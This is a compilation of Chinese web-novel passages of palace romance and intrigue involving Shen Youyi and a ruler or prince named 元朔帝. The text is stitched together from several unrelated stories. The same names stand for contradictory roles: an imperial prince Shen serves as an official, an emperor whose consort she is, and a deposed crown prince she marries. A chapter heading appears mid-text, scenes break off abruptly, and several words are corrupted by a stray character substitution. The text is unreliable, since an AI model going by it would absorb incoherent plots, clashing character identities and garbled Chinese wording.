她几乎都忘记那处宅院里住过多少人,她曾经在这里度过了多少快乐的时光,或者说下意识回避了这些记忆。 午时将近,雅间外,向萍送走了弹月琴的女伶。 三姑娘很喜欢她的曲子,还命她打赏了二两银子。 “姑娘,今日是在外头用午膳,还是回府?” 窗下街景渐渐热闹起来,沈幼宜道:“回吧。” 她没有乘车驾,马车在后不疾不徐跟着。 迎面吹来的风已没有冬日的寒意,再往前走一段,就是京师贡院。 沈幼宜停在一家糖画摊子前,摊主笑呵呵招徕生意:“姑娘,想要个什么画?” 摊上还摆着些成品,年轻的女儿家,多爱些花草蝴蝶。 沈幼宜思忖一二,抬眸道:“画个金元宝吧。” 摊主预料不及,反应过来后笑沈愈加爽朗:“好嘞,金元宝。” 他将黄糖与白糖混合着融化,以一柄小铜勺盛出。 风中弥漫着丝丝甜味,摊主手腕提、放、顿之间,一枚精巧的元宝跃然于光洁的石板上。 摊主放了竹签,待得画成以小刀铲起。 黄澄澄的糖色在日头下映照,还真有几分金元宝灿烂之感。 “您拿好。”花苑一角,清静些的竹凝亭外,向萍与国公府的侍从遥遥守着。 “能认出我么?”“只是风声。” 月色昏黄,察觉到对侧人又停下了手中的墨笔,元朔帝的声音里透出些许无奈。 沈幼宜尴尬地笑了笑,想到自己眼下的模样,大抵就是书中所说的“风声鹤唳”。 “画得如何了?”看沈幼宜实在心神不定,元朔帝有意开了话题。 “快好了。”沈幼宜答曰。 他们在烛火下同看图纸,沈幼宜道:“臣是在想,能否给江东犁再加一处机关,最好能自如控制犁铧入土的深浅。如此一来,更能适应深耕或浅耕的不同情况。” 不过她暂时没有合适的思绪,只能在另一张白纸上胡乱画着,找些思路。 元朔帝瞧江东犁的犁梢处添了扶手,两边向上弯起,又好像牛角,使整件犁具都精致生动起来。 “这有何用意,是便于牵引?” 沈幼宜老实道:“单单是装饰罢了。臣不小心溅了墨汁,所以描摹了几笔成牛角的模样。” 平日里农民辛勤耕作,这等华而不实的东西实在没有多大用场。不如省却一段木料,多节省几个铜钱,一根横杆足矣。 元朔帝微微一笑,沈幼宜也觉得自己这几笔加得天衣无缝。 “殿下觉得如何?” 烛火摇曳,沈幼宜笑着抬首时,猝不及防正撞入昭王殿下眼底。方才他们不知不觉已靠得很近,四目相望时,沈幼宜几乎可以在对方眸中看清自己的模样。 夜阑人静共处一室,二人都有些不自在,不约而同往后退开些。 元朔帝去看扶手处的那对牛角,这几笔很有沈幼宜自己的风格。 他道:“回京的时间尚算充裕,这两日可以停在镇上,多去村中走走。” “当真?”沈幼宜眸中不无惊喜,如此一来,她便可以多多请教当地的百姓。 瞧他欢喜神色,元朔帝不知不觉也随他浅笑,颔首道:“这是自然。” 农桑乃百姓立身之根本,若能造出更好的农具,他们再多停留一月也是值当的。 烛火燃尽小半支,夜深露重。沈幼宜与昭王殿下就这么单独相处,其实不大妥当。然而当顺风送来的刀剑相击声传入她耳中时,沈幼宜已全然沈不得这一层礼数。 她下意识看向昭王殿下,元朔帝是早便听见了动静的,只道:“不必担忧。” 他的声音气定神闲,沈幼宜无形中也慢慢随他放松下来。只不过她到底无心再画,便好生收了图纸。 二人又坐了一会儿,沈幼宜想着说些什么打破屋中沉闷。 她道:“殿下未佩剑?” 她记得昭王殿下有一柄七星龙渊剑,相传是欧冶子和干将两大剑师联手所铸,削铁无声,乃剑中魁首。 当今陛下因缘际会中得了此剑,后来昭王殿下收复并州、大胜刘景周的捷报传回,陛下在含元殿上将这把宝剑亲赐给了昭王。 并州乃大晋龙兴之地,并州失守,无疑引得朝中动荡,人心浮动。 陛下先后派遣数位名将前去迎战刘景周,皆铩羽而归,最后不得已将昭王从东线调回。 收复并州一战昭王声名鹊起,大晋半数兵权皆归于他手中。 史官秉笔书写昭王功绩之余,也如实写下了并州失落的原因。其中一条,便是淮王陆忱刚愎自用,在战局连连退败后,以求援为名率家眷、精锐先行撤回京师。 都道胜败乃兵家常事,淮王当年也不过十七岁,陛下不忍苛责。此役昭王光芒太盛,也压住了淮王这一段不甚光彩的往事。 对沈幼宜的问话,元朔帝只笑了笑:“今夜还用不上它。” 有昭王殿下在,沈幼宜觉得自己确乎不必担忧。 等到外间刀剑声止,元朔帝道:“客栈内皆是暗卫,早些睡吧。” 沈幼宜点点头,声音中透出信赖,就如小时候一般:“嗯。” 她送了昭王殿下,一时还没有困意。既然可以在村落中多停留两日,那么不必着急将画笔收入箱笼。 清风吹散了云层,沈幼宜晚膳用得不多,眼下倒有些饿了。 客栈中正好备了宵夜,她吩咐未睡的吟月去取些来。 开门时沈幼宜瞧见程武就立于回廊上,在等候昭王殿下传召。几年不见,程武已上战场立了军功,现为昭王府七品飞骑校尉。 沈幼宜问他道:“刺客都捉住了?” 程武一礼:“是,一网打尽,沈大人尽可放心。” 沈幼宜颔首:“那看来殿下今夜是唱了空城计。” 等刺客千辛万苦潜入客舍,却发现昭王殿下根本不在房中,他们落入圈套只能束手就擒。 程武刚从客栈外归来回禀,还不知今夜客栈中情形,对沈大人的话有些摸不着头脑。 在廊下守了半夜的暗卫默默无言,就那几十个刺客,要是真让他们攻到殿下的屋子,不消殿下降罪,他们自己都觉无颜再见同袍。 程武纵然疑虑,一时不便多问。沈幼宜对他道了声“辛苦”,不再打扰他的公事,便先回了自己房中。 客舍的宵夜备的是肉饼与咸粥,沈幼宜掰了半个肉饼,就着清粥吃得津津有味。 白日里见到的江东犁,能画的她都已画完,觉得犁评与犁建处可以再加改进。 从南地机缘巧合传来的江东犁,尽显当地百姓的智慧。这样实用的耕犁,单是在工部闭门造车是永远得不出来的。 沈幼宜仔细叠了图纸,这一趟收获不小,看来日后有机会还是得多出来走走。 风吹落几瓣梅花,女郎芙蓉似的面庞清灵绝俗。现做的芙蓉糕,沈幼宜叮嘱师傅多添些蜂蜜。 昨日没能吃上的点心,今日正好补上。 她午后告了半日假,原是特意上街添置寿礼。 九月初是首辅寿辰,朝中泰半仍在观望。沈幼宜还是依了往年旧例,中规中矩几样礼物,再添一本她亲手抄录的诗集。 回府的马车上,沈幼宜闲来无事与怀月打赌:“你说今岁首辅六十寿宴,会送几张请帖,宾客是来与不来?” “这……这妾身哪能知晓。” 沈幼宜也是好奇,陛下久病,京中不知多少人盯着陈府这一场席宴。 毕竟是六十整寿,无缘无故不办反倒不吉利。 随着寿辰之日迫近,陈府依旧无甚动静。 朝中文武多番观望,众说纷纭。然而所有的揣测,却在宫廷赐礼送入陈府时尽数销声匿迹。 五十四件寿礼赐予首辅,更有陛下亲自题写的一幅寿字。 帝王为好友庆寿之心不言而喻。如此,陈府顺应帝心广邀亲朋,凡接请帖者无一推辞。 九月初七那日,宾客盈门。 陈府门外车水马龙,流水般的礼物送入库中。 沈幼宜到得早,为老师拜过寿,去花苑稍作休憩。 一路行去,陈府的下人衣着喜庆,忙而不乱。 “怎么闷闷不乐的?” 荷花池旁,沈幼宜见到了倚在栏杆旁喂鱼的陈沁。 这时节荷花已谢,徒留残香。 陈沁着一袭烟紫色绣双色莲的锦裙,稍稍艳丽的颜色,却不会太过惹人注意。 “郎君。”她起身福了福,总归露出一点笑意来。 家中事务不足外道,但眼前人是父亲的门生,更是她的未婚夫婿。 从入秋以来,后宅多是一片愁云惨淡。她虽是闺阁女儿家,每每去给嫡母请安时,察言观色,多少能看出些端倪。 就好比今日的寿宴,看似花团锦簇,宾主尽欢,父亲依旧是百官之首。然情势究竟如何,没有人比陈家更清楚。 少女眉间一抹化不开的忧愁,再如何精致的妆沈都无法掩盖。 沈幼宜宽慰她几句,朝中大事无可转圜,多思无益。 高位如首辅尚且无可奈何,她们也只能徒添困扰罢了。 秋高气爽,大雁南飞。 沈幼宜抬首望向天边,碧空如洗,朵朵白云点缀其间,是极好的天气。 她最后只是轻声道:“有一日,算一日罢。” 她说向陈沁,更是说与自己。 好半晌,谢世子的心才落回实处。 他摇头:“若非曾朝夕相处过,很难。” 沈幼宜安了心:“那便好。” 她亦不想身份受人纠缠,平添麻烦。 “外头现在什么消息?” 沈幼宜开口,宁远伯府久不参与朝事,她又身处后宅,半点有用的消息都听不着。 谢明霁道:“首辅久病,陛下特命太医入陈府看诊。” 仁宗如何厚待陈家,满朝文武心中皆有数。如今先帝崩逝尚未期年,陛下全盘清算陈府,外人观之总有不妥。 “不过首辅大人年前已上书辞官,欲回乡安养天年,陛下未曾批复。” “至于你,”谢明霁语调凉飕飕的,“还羁押在刑部,已画押认罪。年后就该流放黔州了。” 他便说么,前日至天牢,为何刑部忽然不允探视。 “那我的宅邸?” “自然是一并查封。陛下恩宽,未牵连其他人。” 答了一连串,总归轮到谢明霁插空问上一句:“你到宁远伯府多久了?” “十几二十日吧,”沈幼宜随口答,“一直在学规矩。” 从那日宁远伯入宫后,宫中派了四位嬷嬷专门跟着她,还有六尚女官轮番登门教导。 沈幼宜学东西素来快,宫规礼仪也不在话下。 如若不然,方才在各位世家夫人面前,礼数不会这般行云流水。 “你有现银吗?”沈幼宜解下腰间一枚白玉佩,“换换?” 谢明霁随身二百余两银,连银票到银锭,叫沈幼宜搜了个干净。 “你要现银做什么?” 沈幼宜心满意足地将谢明霁簇新的钱袋挂回腰间:“你又不亏。” “你这是求人办事的态度?” 沈幼宜挑眉,刻意放缓语调,行万福礼时如霞的裙摆层层盛放:“多谢表兄。” 谢明霁倒吸一口凉气,沈幼宜十足十占了上风,扬起一抹畅意的笑。 她没有去席上赴宴的打算,说完最后几句话便要回瑶华院中。 “你觉得,”沈幼宜顿了顿,看向似乎仍有些震惊的谢明霁,“陛下是何时识破我的身份的?” 在朝为官三年,她自信从未露出过破绽。连执掌武德司的谢明霁都未察觉分毫。 可……那日在天牢中,帝王没有半分讶异神色。 付了银钱,沈幼宜道谢后离去。 尚未到会试之时,贡院街前有些冷清。 贡院正门敞开,侍卫戍守在外。沈幼宜还记得门内有两座牌坊,东为“明经取士”,西为“为国求贤”。 京师贡院,等闲人不得靠近。守卫见那女郎衣饰不凡,想必是哪家的千金,放在平日他们不会主动驱赶。 只是今日不同,尤其女郎身后又有护卫相随。 谨慎起见,守卫不动神色递了话进去。 沈幼宜转动手中糖人,从前会试应考的情形犹在眼前。不过短短几月,她已与这座贡院格格不入。 女郎独自出神,向萍随侍左右,忽而从贡院门后见到一道熟悉身影。 “三姑娘安。”秦让客气一礼。 沈幼宜望去,她带着个糖画的金元宝,就这般再度踏入了贡院。 “怎的来了此处?” 正堂下,元朔帝方屏退贡院官员,听见侍卫回禀时有些意外。 他心中隐隐有猜测,故而派了秦让前去。 沈幼宜道:“随意走走罢了。” 明安堂离贡院不远,她也只是漫无目的地闲逛,不知不觉就到了这里。 风吹动女郎裙摆,元朔帝手中暂无要事,二人并肩行于廊下。 沈玉璞轻轻道了声是,他从前有官身,自诩爱民如子,为官清廉,但也欣慰妻子的能干精明,为他操持田产奴婢,短短十年,就将一份家业扩成数倍,可以供养族中奢华享受,然而赋闲在家后,他到乡下与农者为邻,却觉出许多弊端。 “陛下即位之初,天下稍定,废除前代苛捐杂税,叛军治下多用重税,约十三取一,而臣奉皇命,以四十取一,荒年允许百姓以徭役抵税,然而一旦逢灾,穷者便舍身为奴,各处逃避,大族趁机收购田产,于是富者愈富,贫者转贱,原本该流入国库的赋税大大减少,长此以往……” 朝廷收不到足以支撑开支的税收,必然要加重赋税,分摊到地方,官府又要追责里长,追回这些流窜的农人,既耗费人力,也未必能见多少成效。 天子平定天下后可以衣锦还乡、荣归故里,但朝中用人却忌讳此道,各地郡守极少出自当地望族,他是北人,反而多在江南鱼米乡,似河东道一带,虽为兵家必争之地,但并不足以成为朝廷的粮仓,常有灾害,若逢黄河泛滥改道,常有灾民涌入近处的潞州。 这些人当然没有官府的文书,元朔帝颔首,轻声道:“沈公有何良策么?” 沈幼宜倒没有想过元朔帝还会同一个赋闲的官员谈论这些,问一问阿耶喜爱的农桑事,就已经称得上折身下交,低声道:“郎君喝得醉了,阿耶久离朝堂,这是家宴,若要问政,该在朝堂之上。” 她的父亲当然能说出一点道理来,但是这些事情一旦动起来,牵扯得太多,她腹中的骨肉名分未定,如今的沈家未必承受得了这种后果。 元朔帝含笑瞥了她一眼,她的阿耶喝得更多更醉,否则怎么能在他面前露出当年的意气:“朕有心授沈公为雍州刺史,自然该听一听他的意思,贵妃以为不妥么?” 第 69 章 第 69 章 沈玉璞如梦初醒,他连忙谢过天恩,可元朔帝的心思显然也不完全只在他身上,似是无意间问起柏氏:“贵妃入宫多年,如今又有了身孕,夫人不预备为维行寻一个佳偶么?” 柏氏面上的笑容微微一滞,她迟疑地看向女儿,却见宜娘轻轻摇了一下头。 沈幼宜不知道元朔帝会为她的兄长选一个什么妻子,但是皇帝显然也并不知道沈怀安并非她父母亲生。 否则以皇帝的性情,未必有这样温和的姿态商量,而是直接赐婚了。 沈幼宜缓缓开口:“陛下,阿兄算过命的,他很信这些,是不肯教自己妻子冒风险的。” 柏氏也连连称是,她苦笑道:“维行本就是个寡淡的性子,也是他父亲与我拖累了这孩子,他独身至今,也不见有哪个中意的女子,不过他也年轻,妾与夫君只好随他去了。” 沈幼宜要嫁给废太子的消息不胫而走,府里不少与她有来往的姐妹纷纷过来打探消息。 “二小姐,听闻大皇子俊美无俦,仁善宽和,从不打罚下人,你嫁过去应当不会受委屈。” “京中流传他五岁识千字,七岁做赋伦,十岁能马上射百尺,文武双全。对了,他三年前治理了龚州水患,去年还带兵平过贼寇咧!” “你们不知道吧,大皇子还画的一手好丹青,咱家那位大小姐有幸得过一幅,当宝贝似的日日挂在闺房内。” “噤声,敢议论大小姐,你不要命了!” 诸位姐妹顿时哑了声,面面相觑,气氛一时间有些凝滞。 沈幼宜头上斜插沈夫人送的牡丹簪,笑着打圆场:“母亲抬举我罢了。若不是大皇子遭飞来横祸,龙困浅滩,这样的好事也未必轮得上我。” 此言一出,心里妒忌她的姐妹瞬间开怀。 元朔帝再优秀又如何,如今已被陛下厌弃,沈府把沈幼宜嫁过去明显也是彻底放弃废太子有复起的可能性。她明面上被记在沈夫人名下成为嫡女,实则不过是沈大小姐的替罪羊罢了。 想到这,再看她头上的牡丹簪也没那么刺眼。元朔帝连着三日派人来请她观剑。 沈幼宜哪好意思答应,推脱说自己要准备皇后寿辰一事,然而一天没见到他,心又变得空洞起来。 她找来笔墨纸砚,提笔作画,只是画技拙劣,纸上的人物不忍卒看,唯能看清他手持长剑,眉眼弯弯。 灯花陷落,屋内的光渐渐黯淡。她想起陛下赐给昭王府的四个铸钱炉,既能自行铸币,那可当真是取之不尽。 沈幼宜添上几笔,对吟岚道:“我这儿也快好了,你先去睡吧。” 夜色已深,无需她一直在此陪她熬着。 吟岚道:“是,多谢大人。”她铺好画卷,确信自己在屋中无其他事可做,方才告退。 沈幼宜比了比画作,着意修饰一番,添上远景。 夜阑人静,这段时日她在昭王府,不可避免地与他多了些交集。 和从前相比,他好似没有太多的变化;又或许有吧,只是她还未察觉。 手中画笔渐渐停滞,他身边也添了新的友人,都是她不相熟的。 今夜月光很好,清辉铺了满地。 好似也是这样一个皎洁的夜晚,在望云茶楼最后分别时,他问过她,是否愿意随他一同离京。 这样的问话已经超出了友人的界限,他是在问她,是否择他为主君。 可怎么答应呢,她没有办法答应。 彼时突厥遣使,向大晋兴师问罪。中原混战,晋朝立足未稳,还不能与突厥交恶。朝廷对来使礼遇有加,照例奉送财帛。 为平息突厥可汗之怒,陛下亲自下旨,放逐昭王出京。 所有人都道昭王殿下非但与储君之位无缘,还彻底失了圣心。 清冷月光照亮了两条路,那一日告别后,他们再未相见。 她知道他回了军中;而他听到的有关沈幼宜的消息,大约是“他”已投向东宫,深受储君信任。 如今重返京城的昭王炙手可热,若再要攀什么旧时情谊,怎么都轮不到她沈元乐的。 画卷上桃花灼灼,回忆这几日的相处,沈幼宜有八九分的把握,他仍旧不曾发觉她的身份。 至于那些古怪梦境,种种巧合,她不得不暂时先信其有。尤其今日当真在昭王府书房中见到了那只双鱼瓶,就像是上天给她的暗示。 最初的梦境里,昭王就是转动这只双鱼瓶,书房内旋即出现一间密室。 一间囚了她四天三夜的密室。 那四日里,东宫易主,朝局天翻地覆。 沈幼宜重新点上灯,将画晾干,折好,珍而重之藏进书册中。 这本不到一指厚的书不知不觉长高了半寸,而同样增厚的书不止一本,被整齐地堆在书架上。 悄无声息消失其中的一两本,也难以被察觉。 元朔帝耷拉着眼睑,随手翻了几页,发现没有他想要的东西后兴致缺缺地扔在一旁,懒散的眼神里透着淡淡的失望。 早在沈幼宜偷看的第一日,他就知道了。 原以为她是为了打探消息亦或者抓他的把柄才风雨无阻地在后山蹲点,于是他故意在练剑间隙与心腹谈论朝政,其中不乏大逆不道的言辞,明着把将把柄送到她眼前。 元朔帝想知道她传递消息的方法,谁曾想她只是单纯的来看他。 这样的爱慕实在稀松平常,元朔帝在做太子的时候不知道经历过多少。有些胆大的贵女甚至主动上前请他指点画作,也有像沈幼宜这般偷偷关注,不敢言明的。 “以后这种无关紧要的东西不用呈上来。”元朔帝淡淡命令左思把东西送回去。 内心冷嘲又是一个看上他这副虚伪做作皮囊的女人,无知浅薄。 沈幼宜与其他女人也没什么不同,不值得费心。 没见到元朔帝的第四天,沈幼宜实在是撑不住了。 若是从未见过元朔帝练剑的样子,她现在也不会如此难熬,好像有只蚂蚁爬进心里,不停走来走去,无论她画多少张画,亦或者抚摸多少次木簪都无法止住那股钻心的痒意。 但她找不出去见元朔帝的理由,更不可能在他挑明后再去偷看他练剑,正当她一筹莫展之际,青梅送来一个绝佳的借口。 “咱们去皇后的寿辰要送什么礼呀?”青梅苦着脸来问沈幼宜:“大皇子有没有跟您交代什么?” 元朔帝被废黜,东宫的私库尽皆被查封,西巷口只有维持生计的吃食和简单的用品,拿不出一件像样的贺礼。 沈幼宜记得她嫁进来时沈府为了安抚她赔了不少嫁妆,里面有些东西还算贵重,她不清楚皇后的喜好,确实需要元朔帝掌掌眼。 “我去挑一两件,送去给大皇子瞧瞧。”沈幼宜雷厉风行去临时收拾的库房翻了翻,拿出两件压箱底的头面,其中有一套是她自己攒钱买的点翠掩鬓。 翠羽与翠玉打造的头饰华丽夺目,价值千金,一般在重大场合佩戴,譬如大婚。 沈幼宜望着鬓角垂落的十二道珍珠流苏,眼眸微黯,盯着看了半晌后果断交给青梅。 “殿下,沈二小姐求见。”左思躬身回禀。 元朔帝眉头一挑,又听门外人道:“说是来向您请示皇后寿辰的贺礼。” 左思瞧见沈幼宜和她的丫环手里捧着的东西,暗暗咋舌。 沈幼宜的东西是他一手整理的,清楚知道她手里这两样东西的分量,几乎是她半个身家。 西巷口的清苦的生活还不知要过多久,未来的前途也未可知,她竟愿意拿出这样贵重的东西来替元朔帝送礼。 想到她前段时间日日偷窥元朔帝练剑,又画了无数张小像,对她的心思了然于胸。 沈幼宜大抵是对他家殿下动了情。 这也难怪。 元朔帝这样能力出众的人,即便是落魄,也有大把人愿意飞蛾扑火,在被废了太子之位后,依旧有人上赶着嫁给他。 其间大部分是抱着他会东山再起,好一举飞升枝头的女人。 但沈幼宜注定要失望,元朔帝的心中压根没有情爱之说。 元朔帝让左思放行。 沈幼宜踏入这座小院时皱了皱眉,院子里大片荒芜的地,墙角的树胡乱生长,枝条缭乱,透着一股颓败的气息。 进了殿,里头的家具寥寥无几,看着和云梦阁一般陈旧,不过好在干净整洁。 元朔帝坐在临川前的漆木书案后看书,乌黑的桌面悬挂了几支竹笔,他听见动静抬起头。 点墨似的眸直勾勾看过来,对着她露出一个温和的笑。 沈幼头愣在原地,半天没有回过神,直到跟进来的青梅扯了扯她的衣角,小声道:“大皇子妃,殿下叫你过去。” 她的脸蓦地腾起一片霞红,轻咬下唇,低头避开他的眼睛。 然而不等她走过去,元朔帝先一步来到跟前,顺手接过沈幼宜手中沉甸甸的托盘。 “先坐下。” 她听见元朔帝让青梅放下东西出去。 屋子里片刻后只剩下他们两人,一时间周围的空气都静止下来。 沈幼宜局促地交叠双手放在腿上,垂眸说明来意,“我不知皇后娘娘喜欢的样式,来请殿下帮我拿个章程。” 其实她大可以转交给左思,等最后的结果就行,不用亲自来。 元朔帝见识过的宝贝不计其数,一眼看出点翠头面的不凡,坠在流苏上的珠子颗颗饱满圆润,在黯淡的陋屋中闪烁着莹润的光,显得周围的家具愈发陈旧。 他对沈幼宜带进来的东西一清二楚,自然知道这东西的贵重之处,“我早已备好贺礼,忘了跟你说一声,是我的不是。”元朔帝把桌上的东西往沈幼宜处推了推,“这是你的陪嫁,怎好拿出来,等会拿回去收好。” 鲜亮的翠羽闯入沈幼宜的余光里,她偏过头躲开,"殿下准备送什么?" 元朔帝拿来一幅《八仙祝寿图》,八位神态各异的神仙腾云驾雾,手持不同的贺礼,看上去极为传神,简直跟活过来一样。 沈幼宜盯着画,夸赞道:“殿下画得真好。”与他相比,自己的画简直粗糙。 元朔帝眼眸微闪:“你喜欢画画?” 沈幼宜啊了声,如梦初醒般抬起头。 “我见你屋子里的灯罩上画了些……”元朔帝拧着眉,似乎在思考如何形容:“花?” 沈幼宜腾地一下红了脸,支吾道:“是些果子糕点之类的吃食。” 元朔帝扑哧一笑,而后掩唇道歉:“对不住,我没猜中是这个。” 他身穿浅草色圆领袍,头发仅用一根木簪固定,言行举止间没什么架子,说话的神态好像在与友人闲谈,十分平易近人。 笑起来的时候如春日暖风,明朗温润。 沈幼宜再一次不知不觉看入了迷。 元朔帝佯装没看见她炙热的、投入的眼神,温和道:“想学吗?我可以教你。” 时光像是在刹那间倒流。 沈幼宜仰头看着在树杈间灵活游走的少年,他像个猴子似的三两下爬到最顶端,摘下树上最大最红的桃子,他俯身露出一口白牙:“想学吗?我可以教你,这样你以后就能翻墙出来找我了!” 顾焱从小在山间泥地里长大,会许多奇奇怪怪的技能,沈幼宜跟着学了不少。 “那就……麻烦殿下了。”沈幼宜理智上知道应该拒绝,但感情上却难以抵挡来见元朔帝的诱惑。 饮鸩止渴,但若是不饮下,她或许撑不到下一个日出。 元朔帝:“不麻烦,现在也什么可忙的事。明日用完早膳,我派人去请你。” 沈幼宜眼睛亮晶晶的,重重点了点头。 左思送沈幼宜出去的时候,看见她眼角飞扬,水光潋滟,樱粉色的唇瓣被挤压成一条线上的弧线,像夏日清晨含苞待放的菡萏,想盛开又拼命憋着,生怕被人看出此刻雀跃的心情。 但只要稍微有眼睛的人都能感受到她脸上洋溢的喜悦与激动。 左思目送她离开后重新进了内殿,元朔帝脸上的笑早已消失,他不说话的时候从内而外散发一股令人无法忽视的威压。 “这封信放在这里,等沈幼宜取走后看她交给了谁。”他收了笔,冷漠地看着信封上的“严珩一亲启”,里面的内容是告诉他不要再追查沈南盐税一事,简直是他包庇贪官的铁证。 左思应喏。 有人假惺惺安慰:“二小姐到底是嫁给皇子做正妻,我们姐妹日后相见得尊称她一声皇子妃。” “是呀,大皇子虽然被幽禁,但好处是你们大门一关,顾着自个儿的小日子便是,不需理会外面的纷纷扰扰。” 这话说得违心,她们心知肚明沈幼宜这一去怕是再难回来,说不准将来新帝登基,第一个要杀的就是废太子,她十有八九跟着受累,恐怕性命难保。 沈幼宜笑着称是,眉宇间却始终有一团化不开的愁绪,这让那些曾经地位待遇比沈幼宜略高一筹,如今却要称呼她为二小姐的庶女们乐开了花。 还有的白眼狼想着沈幼宜既然要嫁人离府,往后便再也没办法照应自己,索性及时止损,将今儿准备给她的银钱拿回去。 沈幼宜的生母是个药罐子,阖府皆知,需要大量的钱来买各种名贵的药材。 她看在眼里,脸上依旧是谦和有礼,面面俱到地谁也不冷落。 “时候不早,咱们也该回了。”打探够消息,确定沈幼宜以后要被幽拘,她们也没了呆下去的心思。 一泱子人火急火燎地来,又做鸟雀兽状散,真是应了那句天下熙熙,皆为利来,天下攘攘,皆为利往。 往后数十日,沈幼宜一边学习繁琐的宫廷礼仪,一边躲着教习嬷嬷加紧处理房间里不该留的东西。 火盆里的烈焰吞噬了一件又一件顾焱送她的礼物,以及她给顾焱亲手做的还未送出去的小物件。 跳跃的焰光落进沈幼宜漂亮的眸子里,却难以照亮眼底深沉的黑。 麻木地把头上的木簪扔进火里,等火舌没过时她猛然伸手去抓,炙焰灼伤她的五指,沈幼宜却浑然不觉。 就这一件,留个幼想吧。沈幼宜绕过书桌,俯身要去捡信,青梅先一步拿到手上,眼睛直勾勾盯着上面的字。沈幼宜去抽她手里的东西时发现有股力量在阻止,不由多看了青梅一眼。 青梅好奇问:“这是什么?” 沈幼宜把信放回原位,拿起一旁的天青色莲花纹镇纸压住信上的字,淡淡道:“殿下闲来无事写的诗词罢了。” 青梅哦了声,毫不在意地催促沈幼宜回去,嘴里嚷嚷着饿死了。 元朔帝直到沈幼宜离开都没现身。 夤夜时分,更深露重,夜风呼呼地吹,像山林咆哮的野兽。 元朔帝的书房被风吹开一条缝,逐渐变大,一个人影钻进去没一会儿功夫就跑了出来,鬼鬼祟祟绕过回廊往院外走,这人边走边回头,生怕被发现。 荒芜的院落黑漆漆,静悄悄的,连虫鸣鸟叫声都没有,风吹在门窗上,发出刺耳的摩擦声,像索命的厉鬼在嘶嚎,阴森可怖。 突然,有道柔柔的声音响起。 “青梅,这么晚,你不睡觉出来做什么?” 人影先是一愣,等反应过来要先发制人时,她后颈传来剧痛,在意识丧失前一刻,她看见沈幼宜冷漠地拿着竹棍。 沈幼宜以防万一又补了一棍,确认人已经晕死过去后蹲下来摸黑搜身,在青梅的胸前衣领找到了那封未封口的信。 她顿了顿,又把东西塞回去,拿出提前准备好的粗绳把她捆住,最后连人带信一起扔进书房。 沈幼宜在元朔帝的书房坐了一夜,直到第二天清晨元朔帝走近来,她把青梅潜入偷信一事原原本本告诉他。 元朔帝扫了眼地上还未清醒的婢女,她头顶肿了个明显的鼓包,半是玩笑半是试探地问:“你看着手无缚鸡之力,怎么下手这么狠。” 沈幼宜垂眸道:“因为她想要害殿下。” 复又抬头,直视元朔帝的眼睛。 “我决不允许。”元朔帝刚走出里间厢房,一抬眼就见对面之人眼眶微红,雪色面容因激动透着浓浓的胭脂色,震惊中带了几分呆愣的迷茫,不由失笑:“我穿上很奇怪吗?” 他温润和煦的声音宛如一道惊雷,劈开沈幼宜的禁锢。她来不及等元朔帝向她缓步走来,更无法顾忌自己此刻异样的神情是否会被发现,提裙奔向他。 元朔帝的胸口猛地一下被她撞上来,他下意识想将人推开,手却在触碰到柔软的身体前一刻改为安抚性地拍拍她的肩。 沈幼宜先是一僵,而后用细弱的双臂紧紧搂住他的腰,头埋在宽阔炙热胸前,肩膀上下起伏颤抖着。 她好想他,好想好想。 逐日积累如渊的思幼在这一刻得到释放,像倾盆的雨,开闸的洪,势不可当。 元朔帝对她突如其来的热情不明所以,正待询问一番,发现怀里的人居然因情绪过于激动晕了过去。 她眼神坚定而认真,带着九死犹未悔的孤勇。 元朔帝瞳孔几不可察地缩了下,说不清这一刻是什么感受。 证明他曾经来过她的人生。“我还打算在院子前面劈开一块空地做小教场,你可以在那里练剑,我可以站在树下看你……”沈幼宜自顾自说着自己的规划。 元朔帝眼眸微弯,再没有说扫兴的话,她仿佛受到极大鼓舞,越说越激动,到后面煞白的脸透出微红。 “我在几座殿宇中找到了海宜树和枇杷树,可以移栽到云梦阁。庭前种海宜树,院后种枇杷树。”沈幼宜笑得有几分傻气,澄澈的双眸像刚擦干净的镜子,清晰映出元朔帝的脸。 她眼里闪动着对未来的期待,转过身遥看云梦阁方向:“春日赏花,夏日听蝉,秋天吃果,到了冬日……我们可以一起窝在窗前的榻上盖被子看雪。” 元朔帝感觉心底某处蓦地软了下来,仿佛跟着她的描述已然经历过一轮春秋。 他听见自己说:“好。你还想找什么,我陪你。” 他愿意再给她多一点回应。 沈幼宜努力说服自己做出的这个不理智,不清醒的行为。 她鬼使神差地把木簪插回原位,簪尖的海宜花被烧得面目全非,发出的焦味像极了焚烧尸体的腐臭,熏得人喘不过气来。 其余没办法焚烧的东西被她狠心砸了个稀巴烂,分开埋在自己的小院各处。 出嫁前一天,有位不速之客偷偷摸摸进了沈幼宜的院子。 沈幼宜正要关门,一只素手拦在门边,吓了她一跳。 “落梅,你怎么来了?” 来人正是斥责众人议论沈大小姐的沈落梅,她的生母和沈幼宜的一样,都是位卑的侍妾,不过她有个好哥哥,被沈父给予厚望,她的地位自然也水涨船高。 沈落梅朝门外瞥了一眼,趁无人注意猛地扎进沈幼宜的房间,又啪地一下关上门,她单刀直入:“你要嫁给元朔帝?” 沈幼宜疑惑地看向她,“是,母亲说……” 沈落梅不耐烦打断他:“那他怎么办?” 沈幼宜怔愣了下,明白过来她说的是谁后眼神陡然变得冰冷:“我不知道你在说什么,若无事请回吧,我还要准备明日的大婚。” “顾焱,他知道你要……” “住口!”沈幼宜被这两个字刺痛了神经,连日来逼迫自己维持的平静被猝不及防打破:“我不认识这个人,你不要张口胡言乱语。” 她没想到沈落梅竟然记得顾焱,更没想到她会大大咧咧找上自己说起他。 “沈幼宜,他为你做了这么多事,你却为荣华富贵负了他,良心过得去吗?”沈落梅替那个人不值,激动地拔高。 “我有的选吗?”沈幼宜脸上一片寒凉,五指深陷掌心,极力控制自己的情绪。 然而沈落梅步步紧逼,“至少我会争取,哪怕最后头破血流。” 沈幼宜冷笑了声,那也得老天给她争取的机会。 “你走吧。”沈幼宜转身背对着她,冷冷道:“不要在任何人面前提起他,对大家都好。” 沈落梅知道沈幼宜心中的顾虑,却又恼她薄情寡义,叫顾焱一番真心错付。 “谢谢你当年叫他救我。”她扔下一个沉甸甸的荷包,语气与她一般冷:“这件事会烂在我肚子里,不会挡了你的通天大道,我们之间的恩怨一笔勾销。” 沈幼宜等她离开才缓缓转身,眨了眨水光潋滟的眸,她缓缓拾起乌木案几上的青烟色的缎面荷包,打开一看,全是金子。 小的有金豆子,金花生,大的有金锭,金块,林林总总加起来有近百两之多。 这对于沈家来说不算什么,可对她们这些庶出的小姐,却是一笔不菲的钱财。 